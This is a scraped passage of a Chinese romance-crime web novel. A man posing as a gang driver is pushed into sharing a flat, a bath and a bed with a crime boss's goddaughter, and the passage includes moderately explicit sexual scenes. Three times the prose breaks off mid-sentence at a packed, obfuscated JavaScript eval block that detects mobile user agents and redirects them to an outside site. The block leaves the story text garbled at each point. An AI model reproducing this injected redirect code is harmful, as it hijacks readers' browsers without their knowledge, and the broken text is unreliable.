猫咪嗅探到他脚边,察觉不对劲,如猛蛇张口哈他,给水蛇嘿了声,吓得扭头跑掉。 阿声打亮灯:“我的猫怕生。” 开阔而温馨的客厅乍然展现,茶几上的柚子,餐边柜橱窗里的普洱茶饼,阳台飘荡的衣服,无一不昭示主人的存在。 舒照还以为迎接他的是一个空房子或宿舍。 他问:“你住这里?” 阿声扶着鞋柜换拖鞋,“还有你。” 舒照迟迟没踏进大门。 阿声拿了一双一次性拖鞋放他脚边,不小心跟他同时开口—— “干爹让我照顾好你。” “强叔让你照顾好我。” 阿声收敛表情,认真而严肃:“进来关门,冷死了。” 舒照低头换鞋。 这么大的房子,总不至于没有客房。 房子百来平,三房两厅带一个小阁楼。主卧比舒照在海城的租房还大,居住差距一目了然。另外两个房间一间作书房兼工作室,另一间类似杂物房。 舒照蹙眉,寄希望于宽大的布艺沙发:“明天我看看哪有合适的房子租。” 阿声袅袅娜娜逼近,胸脯差点蹭上他的胸膛,“你怕我?” 舒照冷笑:“大小姐,你说呢?” 阿声:“又不会吃了你。” 舒照:“今晚借你沙发一用。” 阿声:“没有多余的被子。” 舒照气笑了,“你真想当我老婆?” 阿声大大方方从上到下打量他。女人再好色,眼神没有侵犯性,只有冷冰冰的权衡,玩笑多于真心。 她说:“也不算太吃亏。” 话毕,她转身,在自己地盘毫不胆怯。 舒照剩下两个选择。 自己租房,等于谢绝罗伟强的好意,忤逆他的权威,难保他不会是另一个曹操? 同意和阿声住一起,孤男寡女同一居室,以后难保不变成真正意义上的同居。 根据以前摸排的信息,罗伟强的关系网没有阿声的存在,尚不清楚她参与多少。 这只是罗伟强的腐化手段之一,以后他会面对数不清的诱惑,甚至威胁。 阿声回头:“要洗澡了吗?” 舒照:“冲一下。” 阿声:“进来主卧。” 舒照没动。 阿声:“外面卫生间没装热水器,冷死你我负不起责任。” 没有客卧,自然也不需要加装热水器。 舒照心思被看穿,踏入主卧像唐僧进盘丝洞,浑身刺挠。 阿声同时脱下摇粒绒和冲锋衣外壳,只穿白色修身长袖,进浴室放水。 水声哗哗响。 阿声出来,看到他一脸不畅,好笑道:“你怎么一副壮士就义的样子?嗯?还是有人给你立了什么大规矩?” 舒照刚要开口,给自作聪明的女人打断。 “哦~”她的尾音拉长,充满玩味,“我知道了。” 舒照陪她玩:“嗯?又被你看出来了。” 阿声:“嗳,你老家是不是有人等你?” 舒照不知第几次听她用语气词“嗳”开头,不是叹气,比“喂”暧昧,每次总没好话,一肚子坏水。 他说:“你还挺聪明。” 阿声来了兴致,“是不是啊?” 舒照:“有什么指教?” 阿声喃喃:“还真有啊?” 宽泛意义上讲,阿声猜对了,舒照“老家”的确有人等他,还是一个比罗伟强年轻不了几岁的“老嘢”。 阿声:“有我漂亮么?” 舒照下意识再看一眼她的脸。鼻管细挺,薄唇轻盈,咧嘴笑应该可以露出八颗牙齿 ——虽然他还没见过她开怀笑。 他如实说:“没有。” 阿声柳眉倒竖,只是逗他玩,又恼他木头脑袋真比较上了。 没劲。 舒照:“没有女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980405|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等我。” 阿声又忍不住接茬:“不至于啊。” 这男人穷了点,但外表加分,豁得出去找个富婆,吃喝不愁。不过,他要真豁得出去,他们用不着还在拉扯。 她反应过来,微眯眼:“难道是男人?” 舒照心头咯噔一下,面上没大反应。他暗暗排查一路过来可能露马脚的地方,除了当司机就是休息,连罗伟强的生意经都没多打听,更没联系过“老家”。 阿声表情微妙,舒照也回过神,彼此防备的不是同一性质的东西。 大床平铺的被子鼓起一块,窸窸窣窣涌动,短暂转移了他们的注意力。 阿声从被窝掏出白猫,抱在怀里。 她问:“你喜欢男人?” 知道对方对自己没兴趣,她反而更为轻松。 男人一旦变成同性恋,就会沦为同性的猎物,没有一个直男愿意伪装。 舒照车马劳顿,一时眼花,看穿白衣服的阿声横抱着白猫,以为她抱了两条肥猫。 他暗骂自己。 阿声留意他眼神有点异样,动摇刚才的判断。 他们难得尴尬别开眼,猜测不攻自破。 阿声:“你知道我干爹是什么样的人么?” 舒照不答,她也不需要他的回答。 阿声:“你想跟着他发财,最好别跟他对着干,对你对我都好。——水差不多放好了,你先去洗澡。” 罗伟强能阻止她去外地发展,以后一样能伸手干预她的婚姻。她又看了一眼舒照,这个跑了,谁知道以后罗伟强还会塞什么歪瓜裂枣给她。 舒照从行李箱拿了衣裤,走进主卧浴室。 船型大浴缸孤立在空地,像摆在了舞台中心,准备迎接远方来客。旁边淋浴间空荡干燥。 他愣住,坐浴记忆要回到两三岁的大红胶盆时代。 阿声趴在床上撸猫咪,对她的过分体贴无知无觉。 舒照缓缓关上浴室门,要反锁,锁芯跟小孩松动的乳牙一样,要掉不掉,锁不上了。 他心有不妙,往门边五斗柜上放了干净衣裤,脱得只剩一条裤衩,跨进浴缸。手机搁在旁边置物台。 不多时,浴室门给推开,朦胧雾气似乎有所消散。 舒照扭头,只见阿声抱臂走近,水汽蒙眼,看不真切,她像横抱一条白猫。 先前的僵硬,扩散到他全身。 阿声弯腰倾身,又“嗳”了一声:“要我帮你搓背吗?” 舒照:“不用。” 水面水雾波动,他黝黑而变形的肢体轮廓隐隐晃动,有一团特别黑,应该是盖了他的毛巾。 阿声站在他背后,双手搭上他的肩膀,不再隔着衣服。 她凑他耳边,看着不知是汗珠还是水珠,滑过他的下颌,滴落他的胸肌,挂在他的乳|尖上摇摇欲坠。 “真不用?” 舒照冷脸扫开阿声的左手。 阿声也不恼,主动收回右手,从置物台捞走他的手机,往他眼前晃了一眼。 “浴室太潮湿,以后不要带手机进来。” 舒照一口气刚刚喘出来,不止是憋的,还有气的,阿声去而复返。 水雾和水声涌动,她只穿了黑色内衣裤,背对着他,反手解扣,弯腰脱|裤。 阿声浑身白皙,浴室的潮湿增加了肌肤的柔润光泽,她白得像在发光,像构建了一个梦境。 她跨进浴缸坐下,窝在他尽可能分开的膝盖间。 浴缸一个人坐宽敞,两个人局促。哪怕没暂时碰上对方,好像也只是迟早的事。 他们耳廓都红了,不知道外热还是内燥。 阿声微微回首,侧脸弧线优美:“嗳,帮我搓背。” 5. 第 5 章 阿声的语气词“嗳”成了她独特的驯狗词,逐步帮舒照建立条件反射,挑战他作为男人的底线。 男人当然没有底线,他只能选择暂时不做男人。 舒照噌地撑着浴缸沿起身,浑身哗啦啦滴水,像一片刚出火锅的豆干。他长腿灵活地跨出浴缸。 阿声扭头,正要骂人,先注意到他竟还穿着黑色四角裤,刚刚她误以为是盖着“水蛇”的毛巾。 四角裤变成五角,新的角跟固有的四角不在同一个平面,“水蛇”快要出洞,也不知道是原始长度还是发胖了。 她叫道:“你怎么泡澡还穿裤衩?” 舒照:“顺便洗了。” 阿声:“你……” 舒照:“省事。” 阿声:“神经病!” 她对事又对人,心里骂他是伪君子。 舒照:“男人都这样,你不知道吗?” 他背对她,弯腰脱下黑裤衩,两瓣紧实的臀连着长腿,没有分界的晒痕,从上到下蕴含着流畅的劲力。这副光溜溜的背影毫无征兆出现在阿声眼前,礼尚往来似的。谁叫刚才他也看了她。 舒照拿过五斗柜上的干毛巾擦身。 阿声转身背对他,陷入沉思。 她怀疑这人性无能,丧失男人自信的根本,可能会更变态。 这不太妙。 她宁愿他是一个正常男人,可控性稍大。 舒照穿上短袖睡衣裤,寒意袭来,但他没有长款。他去而复返,问:“我的二手机呢?” 浴缸里的背影伶仃而赤裸。 阿声头也不回,慢悠悠往肩头挤海绵浴球的水。水珠刷过她白皙细腻的后背,滴滴答答落回浴缸。 “不着急,等我洗完给你拿。” 舒照皱了皱眉头,披上薄绒开襟卫衣,出主卧阳台抽烟。 阿声洗好出来,玻璃格子门上映出水蛇的侧影。 他坐在花盆边的椅子,不时往花盆弹烟灰,不知道在瞎想什么,也不怕冷似的。夜间气温11℃,他要是起鸡皮疙瘩,腿毛都能绽放。 舒照抽了两根烟,进屋顺便带上门,拉上落地帘。 阿声早已躺上床,留在被面上的两条胳膊穿了长袖。 一起待过浴缸,舒照懒得做无谓的挣扎,脱了外套钻被窝。 阿声蹙眉,“洗完澡又抽烟,臭死了。” 舒照平常扎在男人堆,大家都是一个风味,平常没感觉,第一次被人嫌弃臭,他侧头闻了下肩头,然后,大言不惭:“我没闻到。” 正好可以驱虫。 阿声裹得像一条虫,在被窝里踢了他一脚。 舒照躺平没鸟她,不耐烦扔出两个字:“睡觉。” 阿声又踢一脚,踩到他的小腿,像磨上丝瓜络,触感新奇。她没再挪开,往上滑,故意拱火。 舒照推开一次,她的脚装了弹簧,转瞬又弹回原处,往复摩挲。 属于女人的味道四面八方袭来,来自轻柔的被子,软硬适宜的枕头,还有缕缕发丝,密不透风网住他,令他透不过气。 他忽地诈尸一样坐起身。 阿声吓一跳,以为他要反攻,局面掌控权要旁落。 舒照生硬地说:“我再去洗个澡。” 阿声收回脚,“洗干净点,臭死了。” 舒照刚要回嘴,给她打断。 阿声:“又想说男人都这样?” 舒照:“你多见识几个就懂了。” 阿声嗤笑一声。 舒照摸黑回到浴室,掩上门。他料定阿声不会再回来,仔仔细细洗了澡。 浴缸原本清透的水,射入一注别样的浑浊,然后跟随沐浴露的泡沫,咕噜噜消失进下水道。 水流声混着压抑又松快的喘息。 舒照抹了一把水珠淋漓的脸,至少可以清心寡欲一两天。 舒照出来,只听阿声没了动静,朝向他那一边侧卧。 他轻手轻脚靠近,弯腰凝神谛听。 熟睡和清醒的呼吸频率不一样,阿声的吐息轻柔平稳,应该是睡着了。 这个女人,熟睡时是天使,清醒时简直魔鬼。 舒照尽量远离她躺下,勉强盖全被子。他双眼困乏,但毫无睡意。 他今晚当不成男人,但逃不开男人的劣根性。担忧的根源不是发生关系,而是怕留下证据。他以后还要回归原本身份,阿声等于一个活生生的人证。 “老家”要是知道他和黑老大干女儿同居,说没发生点什么,谁也不信。这让他的坚持显得矛盾又可笑。 跟阿声在一起,比跟拉链和罗汉称兄道弟更为危险。 他似乎被一股不可控的背后力量推着走。 身旁传来窸窸窣窣声响,打断舒照的浮思。 阿声在调整睡姿,朦朦胧胧间,摸到一片温热,触感特别,光溜而结实,不是她毛茸茸的大白猫。 她猛然惊醒,睁开眼,床上怎么多了一个人? 黑暗中,两人四目相对,沉默无言。 舒照眼神锐利有劲,不像刚醒。 阿声捏了捏摸到的肌肉,确认是他的肱二头肌。她以为做梦,蹭近他,一条腿跨上他窄劲的腰,抱稳他的胳膊。 水蛇成了合格的人形抱枕,不反抗,无异味,清香干爽,恒温不费电。 舒照看着她。 这女人不是心大,大概身经百战,毫不在意。 舒照昏昏沉沉间,天光大亮,透过垂帘缝隙,照亮阿声顶楼的小家。 门铃忽然大作。 阿声睁眼,看见同床共枕的男人。他眉清目朗,比她早醒。她清晰发觉自己有半边身压着他,顿了顿,暧昧一笑:“你去开门,谁来都说我在睡觉。” 舒照不动反问:“谁来?” 阿声推推他,“你去看。” 舒照拎过床尾凳上的卫衣,上身秋装,下身夏装,暴露腿毛旺盛的小腿,无视十来度的天气。 大白猫不知道藏去哪里,客厅空荡荡,大门边的可视门铃上出现一张女人的脸,舒照思索一瞬,将之匹配上罗伟强的情人李娇娇。 舒照拉开门,李娇娇脸上的馒化痕迹比夜里更清晰。他意外道:“娇姐,早啊。” 李娇娇从上往下打量他,眼里满是趣味,“哟,这是刚起床?” 舒照敞开门,“对,娇姐进来坐。阿声还在睡觉,我喊她起来。” 李娇娇笑呵呵,没跨进来,“还没起?昨晚很晚睡吧。我从泰国带了点化妆品回来,昨天匆匆忙忙,忘了给她。” 舒照接过李娇娇递来的纸袋,“谢谢娇姐,劳烦你特地跑一趟。” 李娇娇:“没事,刚好路过。那你们好好休息。” 舒照:“娇姐,我送你下去。” 李娇娇:“不用麻烦。下次记得和阿声来竹山小院坐坐。” 目送李娇娇过了楼梯转角,舒照关门,拎着东西进卧室。 阿声侧卧撑着脑袋,类似在海城他租房里的姿势。 舒照有股预感,她一开口总没好话。 阿声阴阳怪气:“劳烦你特地跑一趟。” 舒照像所有当着老婆的面对其他女人示好的男人,总要挨嘲,短则几天,长则一辈子。 舒照将纸袋轻轻扔她怀里,“不然该说什么?大小姐,你教教我。” 阿声还在复读:“娇姐,我送你下去。” 舒照不恼反笑:“你跟她有仇?” 阿声不答。 舒照催了一声,“嗯?” 阿声:“你那么聪明,动动脑筋。” 李娇娇就是为了来确认她是不是还跟这个男人在一起,只要她身旁没男人,李娇娇就怀疑她跟罗伟强有一腿。毕竟罗伟强真养过跟她同龄的情人。 没人不爱听夸赞,舒照暂时跳过话题,问:“我手机充好电了吗?” 阿声昨晚扣下后就没给回他。她翻身蠕动到床边,拉开床头柜抽屉,掏出手机递给他。 透明手机壳塞着一张身份证,阿声昨晚看了也拍了,望着站在床边看手机的男人,突然出声:“陈嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980406|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放。” 舒照还在适应新名字,险些反应不过来,垂眼冷冷瞟她。 阿声身上有股冷血的气质,能反弹他的所有冷漠。 她又“嗳”了一声,“肚子饿了吗?” 阿声明天开店,要上微信处理一些订货之类的杂事,白天没出门,全靠外卖。 她待书兼工作室里不理人,舒照乐得自在,把大白猫逗了个半熟。 他们夜里像渡劫七年之痒的夫妻,白天像合租室友,看似井水不犯河水,地下水总会不可控制地悄悄互相侵入、融汇,交织成一股势头更猛的水流。 罗伟强在休养,拉链和罗汉约他们去佤族嬢嬢吃烧烤。 阿声开一辆沧桑的丰田皇冠,一看就是从罗伟强手上“继承”而来。 无论气温几度,外焦里嫩的烤肉,搭配酸辣适度的特色蘸水,佤族特色的佳肴总能温暖食客的胃和夜。 佤族嬢嬢店门口泊车位已满,阿声先放舒照下车,去别处停车再回来。 拉链和罗汉都带了小妹,只要不是官方认证的拉链嫂和罗汉嫂,都叫拉链牙和罗汉果。她们美甲镶钻,闪亮耀眼,像年轻版娇姐,瞥见舒照双眼放光。 罗汉问:“就你一个人?要不要给你叫个妹妹?” 他朝罗汉果挤眼,“你不是说你还有个单身的朋友吗?叫出来一起玩。” 罗汉果随主,话多:“好啊好啊,这个帅哥是谁啊?以前没见过?看着不像本地人啊。” 拉链:“说出来吓到你。” 罗汉果做出吃惊的表情,看向她的主人。 舒照声明:“阿声去停车了。” 罗汉朝罗汉果挑眉,“听到没?” 拉链跟罗汉说:“讲话注意点,惹黑妹不开心,小心她拿刀劈了你。” 罗汉附和哈哈笑,坏男人最爱逗女人和吓女人。 罗汉果吐吐舌头,尴尬道:“原来是阿声姐的那位啊。” 罗汉忽然摇手示意,“黑妹,这里!” 阿声挑挑下巴回应。 舒照问:“你们为什么叫她黑妹?” 罗汉:“你猜。” 舒照:“她长得也不黑啊。” 罗汉故作神秘压低声:“心黑,一肚子坏水。” 舒照领教过一二,含笑道:“真是这么来的?” “她还没跟你说?”罗汉隐晦一笑,嘲讽他和阿声关系进展不妙,“兄弟,你还要努努力。” 阿声无声登场。 罗汉的嘴总是塞不满,又叭叭说话:“黑妹,还以为你不来,拉链准备给你老公也叫个妹妹。” 拉链竹签当标枪,投射罗汉,“叼你老母,你说的还赖我。” 阿声清楚这对哼哈二将的风格,看穿谁犯的事,白了罗汉一眼,不客气道:“又换了一个‘罗汉果’?” 这个罗汉小妹不清楚罗汉果的典故,仍堆着笑。 罗汉也不恼,嘻嘻笑。 阿声坐到舒照身旁。 拉链牙和罗汉果一前一后叫了阿声姐,跟见了大姐大一样。 舒照听着阿声潦草应声,应该不是第一次见识这样的场面。她身边的男女关系轻浮短暂,不难理解她的行为和动机。 罗汉给两个小妹指着舒照,“这个还没叫。” 拉链牙比罗汉果机灵,先开口:“姐夫。” 舒照也妇唱夫随,反应不大。 罗汉没等阿声坐热凳子,告状道:“刚刚你老公问你为什么叫黑妹。” 阿声:“你怎么说?” 她扭头看了眼舒照,没反应就是默认。 “罗汉说你心黑。”拉链不鸣则已一鸣惊人,报了刚才的仇。 阿声看着罗汉冷笑,“对你不应该吗?” 罗汉:“喏,偏心。” 阿声转头问舒照:“你怎么不问我为什么叫阿声?” 舒照的确还不清楚她的大名,“你说。” 阿声不怀好意一笑,当着众人的面,点点自己脸颊:“亲我一下就告诉你。” 6. 第 6 章 舒照给逗笑了。 阿声挑眉,“来啊,不骗你。” 罗汉起哄:“亲一个,亲一个,不亲不是男人。” 罗汉果和拉链牙也跟着笑,不敢起哄。拉链的嘴巴难得漏出点笑意。 没人不喜欢看乐子,尤其是大小姐的乐子。 对舒照来说,却是妥妥的下马威。 罗汉还在火上浇油:“亲啊,不亲不给我们黑妹面子。” 舒照看向阿声,她不饮自醉,只顾朝他笑,捉弄多于求爱。 罗汉:“再不亲我亲啊。” 罗汉果怀疑自己的耳朵,神色一顿,敢怒不敢言。 阿声就坐罗汉身旁,笑意收敛,咬着下唇,在桌底下踢他一脚。 罗汉躲不开,马上改口:“我该死,我该死。” 在局势升级前,舒照拎起酒杯表态:“回去再亲,行吗?现在喝酒,来。” 话题悄然转移。 拉链眼神耐人寻味。想看大小姐的乐子,可不是那么容易。 吃完烧烤,时过九点。罗汉摸着肚子,说喝得不尽兴,提议转战酒吧。 阿声第一个出声:“明天要开店,不去了。” 罗汉跟舒照勾肩搭背,要将他占为己有似的,“你开你的,我们喝我们的,是吧兄弟?” 舒照笑而不语,像喝蒙了。 阿声讥笑:“才认识几天啊,就称兄道弟。” 罗汉:“你不懂,我们男人只要能一起喝酒就是兄弟。是吧,兄弟?” 舒照红着一张脸,耳根尤为醒目。他含笑瞅着阿声,比起寻求许可,更像认可罗汉。 阿声笑道:“不行,他要跟我回家。” 罗汉故作严肃,用教育妹妹的口吻:“男人不能管这么严,越管越叛逆。” 拉链揶揄道:“水蛇要给黑妹暖被窝。” 阿声扯走水蛇,将他整条胳膊抱在怀里。 他的上臂陷入她的乳|沟,柔柔软软的。舒照任她拉扯,踉跄一步,栽进她怀里。 漂亮女人霸道到这份上,任谁都见色忘义。 舒照跟罗汉打招呼:“改天,等她忙点。” 阿声狠狠瞪了水蛇一眼。 罗汉不忘嘴贱:“水蛇你妻管严啊。” 阿声把人拽回皇冠的副驾,看他还知道系安全带,数落道:“少跟他们两个混,哪天被放倒都不知道为什么。” 舒照抬眼含笑,不正不经看着她:“真管上了?” 阿声摔上副驾门,回到司机位,“他们有过案底。” 舒照知道得比阿声清楚,“你又知道我没有?” 阿声一脸严肃,许久,才开口:“你救过我干爹,就算有案底,只要不是杀人放火,在我心里,这份仁义能抵消过去罪恶。那句话怎么说,救人一命胜造七级浮屠。” 舒照扭头看她。 阿声目不斜视开车。 好一阵没人讲话。 他们立场对立,没什么信任,偏偏价值观微妙碰撞,悄悄匹配上了。舒照游走在灰色地带,见识过人性复杂,不是非黑即白。他见过这些人过命的情义,也见过他们互相背叛。 阿声瞪大眼,“你真有啊?犯什么事?” 舒照冷笑,“我看你想有。” 阿声:“我干什么了?” 舒照:“劫色。” 阿声嗤笑,抽空白了他一眼,“你那么配合,能叫‘劫’吗?” 遇见阿声,得是舒照二十五六年来最大的劫。 舒照:“我还得谢谢你夸我有色相?” 阿声:“难道你以为我来者不拒,什么歪瓜裂枣都要?” 骂不过瘾,阿声趁红灯驻车,掐了一把他的大腿肉。 舒照迟了一步,擒住她的手。 两只手缠打起来,一黑一白,一大一小,肌肤直接摩擦,不再隔着衣服,不再只有目光胶着,不再只有她单方面主动。 他的手掌干燥而粗糙,宽大且有力量感。她的相反,滋润而细腻,纤瘦玲珑。 舒照搓揉着,曾遗留在他手机上的香味扩散,清冷幽甜,难以定义像什么花的气味。 绿灯放行,舒照松开她的手,“专心开车。” 阿声明显感觉到他刻意收着劲头纵容她打闹,带着一种变相的体贴。她再打一下他的胳膊,才扶回方向盘,“好好认路,下次你开。” 回到云樾居,舒照掏出手机,放在床头柜,无形交付出信任。 “帮我充电。” 看他如此配合,阿声心底微妙。信任初步建立,她当着他的面,给手机插上充电线。 舒照:“我看里面有个淋浴间。” 阿声:“花洒摔坏了,360°漏水。” 舒照:“我帮你换一个。” 阿声:“现在?” 舒照:“刚回来路上,快到小区门口有个五金店还开门。” 阿声冷冷浇灭他想“单飞”的热情,“你喝酒了。” “没喝多少。”舒照扔出一句每一个酒鬼的经典台词,走到玄关换下快烂掉的一次性拖鞋,回头见她跟上,果然是一起去的意思。 阿声:“远不远啊?” 舒照:“百来米,前面路口进去两三家店面。” 阿声想了想,“有点印象,刚没走那条路啊。你真眼尖。” 舒照:“送外卖认路练出来的。” 阿声哼笑一声。 晚上十点,天冷行人稀少,阿声和舒照并排走,中间隔了一个身位。 转过街角,五金店还开门。 阿声喃喃:“还真是这个店。” 舒照跟老板讲话,阿声百无聊赖蹲下撸店里的黑狸花猫。 没一会,舒照的声音头顶上方响起:“这个行吗?” 阿声隐约看出花洒跟家里差不多大小和轮廓,“你挑吧。” 舒照:“浴室门锁也坏了,要一起换吗?” 阿声搓着猫尾根部,黑狸花咕噜咕噜雷震,屁股高撅。 她仰头微微皱眉。谁听不出来他要换锁防狼。刚刚建立的信任和暧昧摇摇欲坠。 老板立刻拿来一个带把手的门锁,“浴室一般用这种尺寸,要是不合适你再来跟我换。两个一起拿算你便宜一点。” 舒照忽视她的表情,说:“我没带手机。” 阿声起身扫码付款。 回到家,阿声脱了外套:“你慢慢修,我先洗澡。” 多亏她昨晚的举动,急速消弭陌生男女同居的尴尬,舒照初步建立反射弧,自如面对她一切奇葩行径。 他一顿,明显不解和排斥,但他反抗阿声,等于她反抗罗伟强,无效。 阿声调侃:“难道你想跟我一起洗?” 幸好阿声也算一个技工,家中工具箱里应有尽有,舒照搬来立刻开干,速战速决。 他在浴缸注满水前换掉坏的花洒,换门锁时,阿声在他身后的浴缸边脱衣服。他想起中学时代看的小电影,风情万种的女主人和平平无奇的维修工,女主人略展风骚,维修工就沦陷了。 舒照和阿声现在演绎另一种健康的小电影。 阿声像美人鱼搁浅,拧过身扒着浴缸沿,下巴垫着手背,看他要在门边磨蹭到什么时候。他耳廓依旧通红,不知道酒劲未消,还是燥热。 “嗳。”她吹狗哨似的,懒懒散散唤他。 舒照:“说。” 阿声:“那么凶。” 舒照缓了口气,低头,紧绷腮帮子,用钳子使劲绞断长了一截的连接片。 冬夜寒凉,他的后心憋出一层薄汗。 电动螺丝刀噪音响起,似乎帮忙搅乱他的浮思。 阿声等他放停,才开口:“我忘了拿沐浴球,你能不能帮我递一下?” 她嗓音慵懒湿润,更显撩拨。 舒照用噪音回答她。 阿声也不恼,又等了一个安静的空隙,“就在门边的柜子,最上面的抽屉,拿一个新的。” 舒照:“你没手吗?” 阿声:“冷。” 舒照:“以前一个人住谁给你拿?” 阿声:“以前是以前,现在多了一个你。” 舒照瞟了眼身旁的柜子,不巧正上方镜子映出阿声的模样。她肩颈白皙莹润,像一条刚蜕了皮的美人蛇趴在浴缸沿,蛊惑人心。 他喉结滚了滚,往下拽两把门锁,开关顺畅。 阿声:“嗳,还是你想让我现在起来拿?” 舒照弯腰收拾工具进箱子,直接走出浴室,带上门。 阿声:“哎?!你这个人……刚刚谁说回来亲我?” 舒照听出“哎”和“嗳”的区别,一个骂狗,一个驯狗,反正都不是好词。 一直轮到舒照进浴室,谁也没再讲话。 阿声看着门关上,凝神谛听,没有低沉的反锁声,唇角不禁勾了勾。 双方又默契积累小小的信任,达成无声的君子协定。 舒照依旧由着阿声抱着他胳膊睡觉。她没穿内衣,又又孚し流动,有一半柔软地趴在他的上臂。他不禁想起阿声的屁股,也是类似两瓣的形状,光溜滚圆洁白。 舒照皱着眉头,试图抽走胳膊,反被抱得更紧。他只能调整呼吸,压抑念头,不能深想。 简直惨过做鸭。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980407|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声的闹钟八点响起,九点半要到店开门。 她起得比昨天早,但舒照依旧比她早,也不起身,默默当抱枕。 阿声奇道:“喂,你不用睡觉的吗?” 舒照屈起一条胳膊塞脑后,枕着手腕,瞟了眼她。 明明是她存心不让人睡。 他说:“睡了。” 阿声狐疑道:“睡眠质量有待提高。” 舒照:“谢谢关心。” 阿声忽略他话里的嘲讽,“一会你跟我去店里。” 步行街的店铺对于本地人来说,记忆店铺位置比店名重要,对游客则相反。阿声的银饰店有一个文艺的店名“抚云作银”,没在主街,在巷子里。淡季游客少,偶尔有本地人来,大多是回头客,信任老板娘的审美和手艺。 阿声开了门,戴上一次性手套,接了盆热水打湿方巾,用洗涤剂擦亮柜台和门窗玻璃,不忘使唤舒照干活。 唯一的店员阿丽十点上班,脸上细纹成了她的年轮,一看就比阿声大。 她叫了阿声姐,看着舒照背影,惊讶道:“我还以为罗汉哥来了。” 阿声介绍:“水蛇。” 阿丽:“水蛇哥好,我叫阿丽。” 舒照点了下头。 阿丽接过他的方巾,“水蛇哥,我来擦吧。” 舒照看阿声的脸色,现在正儿八经打工,不能随意偷懒,“没事,我擦就行。” 阿丽又去接阿声的方巾,“水蛇哥真热心,罗汉哥之前都没帮我们擦过。” 在阿丽眼里,水蛇跟罗汉履行一样的职责,都是保安。 阿声让她擦,“罗汉想擦我都不想让他擦,毛手毛脚,偷工减料,不打碎玻璃都算好了。” 阿丽偷偷一笑。 步行街寸土寸金,租金昂贵,银饰手工作坊在另一个地方。白银虽比不上黄金价高,但茶乡靠近边境,平时市里治安尚可,临近年关犯罪率飙涨,听说最近又有人在ATM取钱出来后被抢。阿声一直叫罗汉帮进料取货,镇店巡店,不怕有人故意为难两个女人。 打银的老师傅通知阿声取货,阿声打电话给罗汉,点开免提,接通后开门见山:“喂,睡醒了吗?” 罗汉打着哈欠,“大小姐,这才几点啊?” 天冷加上昨晚喝酒,罗汉没事起不来。阿声隐约听见女人的声音,不确定是不是昨晚的罗汉果,或者有几个罗汉果。 她说:“师父帮我打好一批货,什么时候帮我取了送过来?今天开店啊。” 罗汉:“水蛇不是跟你在一起吗?找你男人,天天来使唤我。” 阿丽悄悄瞪大眼睛,想抬头又不敢。幸好刚才没招惹到这位来路不明的帅哥。原来应该叫作姐夫。 阿声:“他不知道地方。” 罗汉:“你带他去。” 阿声:“我走不开啊。” 罗汉:“都没几个客人,哪还走不开。” 阿声:“罗斌斌。” 罗汉原来花名“罗宾汉”,他想摆脱嗲嗲的叠词原名,才简化成罗汉。外形也确实酷似肌肉罗汉。 罗汉最烦别人叫他原名,头大叫道:“妈的,知道了,现在马上起。操,下次你再叫一声试试。” 阿声笑嘻嘻,能屈能伸,“好咧,罗汉哥,水蛇交给你了。” 银饰价格平民,靠款式吸引年轻人。阿声头脑灵活,除了传统款式,也会接稀奇古怪的定制。新的货品回来后,她和阿丽身兼多职,贴标签,整理银饰,帮客人编绳,拍照和收银。 一直到晚上八点多,冬天夜晚客人少,阿声盘点今日营业额,准备打烊。 舒照总结这两天规律,阿声有空就逗他玩,忙起来就懒得管他。他说去步行街公厕放水,实则放风大半小时,她只骂了他一句懒人屎尿多,转头喜滋滋算钱。 阿声锁了他拉下的卷闸门,说:“陪我去一个地方。” 舒照:“哪?” 他们四目相对一瞬,不由想起昨晚交换秘密的代价。 那个未完成的吻,谁都没提,但莫名心意相通,觉得对方也没忘。 阿声:“给你买几件衣服。” 她难得正常说话,透出一点人情味,舒照反而摸不清路数。 他说:“我有。” 阿声:“过几天降温,茶乡可比海城冷多了。” 海城一年有八个月要穿短袖,剩下四个月可以加一件或薄或厚的外套对付,水蛇没有御寒的衣服。 舒照:“我不冷。” 阿声忽然抓了抓他的指尖,像握住自行车把手,又冷又硬,“还说不冷,手都冰了。我可不想抱着一根冰棒睡觉。” 7. 第 7 章 “你不摸就行。”舒照抽回手,指尖早染上阿声的护手霜香味。 阿声朝他扔车钥匙,“我指路,你开车。” 舒照眼疾手快抬手抓住。那抹淡香跟随他的动作挥洒在空气里。这回他知道该怎么定义香气,就叫阿声味。 阿声自己逛街会去各种潮品小店,挑一些比较个性的衣服。她第一次挑男装,直接带他去还没关门的商场,速战速决挑一些大众品牌。 阿声给他挑牛仔裤,他破洞的不要,洗旧的不要,浅色的不要,只同意试穿工整的蓝黑牛仔裤。 